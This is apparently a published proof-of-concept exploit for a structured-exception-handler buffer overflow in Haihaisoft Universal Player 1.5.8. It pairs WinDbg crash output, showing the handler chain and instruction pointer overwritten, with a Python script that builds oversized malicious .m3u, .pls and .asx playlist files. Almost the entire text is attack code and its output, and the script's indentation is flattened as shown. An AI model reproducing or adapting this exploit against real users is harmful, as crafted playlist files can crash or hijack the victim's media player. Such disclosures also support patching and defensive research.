Haihaisoft Universal Player 1.5.8 (.m3u, .pls, .asx)

#-----------------------------------------------------------------------------#

# Exploit Title: Haihaisoft Universal Player 1.5.8 - Buffer Overflow (SEH) #

# Date: Mar 25 2014                                                           #

# Exploit Author: Gabor Seljan                                                #

# Software Link: http://www.haihaisoft.com/hup.aspx #

# Version: 1.5.8.0                                                            #

# Tested on: Windows XP SP3                                                   #

#-----------------------------------------------------------------------------#

# (6ec.57c): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# eax=00000000 ebx=44444444 ecx=0000000f edx=00000000 esi=04bae7d0 edi=44444448

# eip=0069537f esp=04cb7b18 ebp=04cb7b58 iopl=0 nv up ei pl nz na pe nc

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206

# *** ERROR: Module load completed but symbols could not be loaded for mplayerc.exe

# mplayerc+0x29537f:

# 0069537f f3ab rep stos dword ptr es:[edi]

# 0:005> g

# (6ec.57c): Access violation - code c0000005 (first chance)

# First chance exceptions are reported before any exception handling.

# This exception may be expected and handled.

# eax=00000000 ebx=00000000 ecx=43434343 edx=7c9032bc esi=00000000 edi=00000000

# eip=43434343 esp=04cb7748 ebp=04cb7768 iopl=0 nv up ei pl zr na pe nc

# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246

# 43434343 ?? ???

# 0:005> !exchain

# 04cb775c: ntdll!RtlConvertUlongToLargeInteger+7e (7c9032bc)

# 04cb7b4c: mplayerc+2e2e78 (006e2e78)

# 04cb8b80: 43434343

# Invalid exception stack at 42424242

#!/usr/bin/python

junk1 = "\x80" * 50;

offset = "\x41" * 1591;

nSEH = "\x42" * 4;

SEH = "\x43" * 4;

junk2 = "\x44" * 5000;

evil = "http://{junk1}{offset}{nSEH}{SEH}{junk2}".format(**locals())

for e in ['m3u', 'pls', 'asx']:

if e is 'm3u':

poc = evil

elif e is 'pls':

poc = "[playlist]\nFile1={}".format(evil)

else:

poc = "<asx version=\"3.0\"><entry><ref href=\"{}\"/></entry></asx>".format(evil)

try:

print("[*] Creating poc.%s file..." % e)

f = open('poc.%s' % e, 'w')

f.write(poc)

f.close()

print("[*] %s file successfully created!" % f.name)

except:

print("[!] Error while creating exploit file!")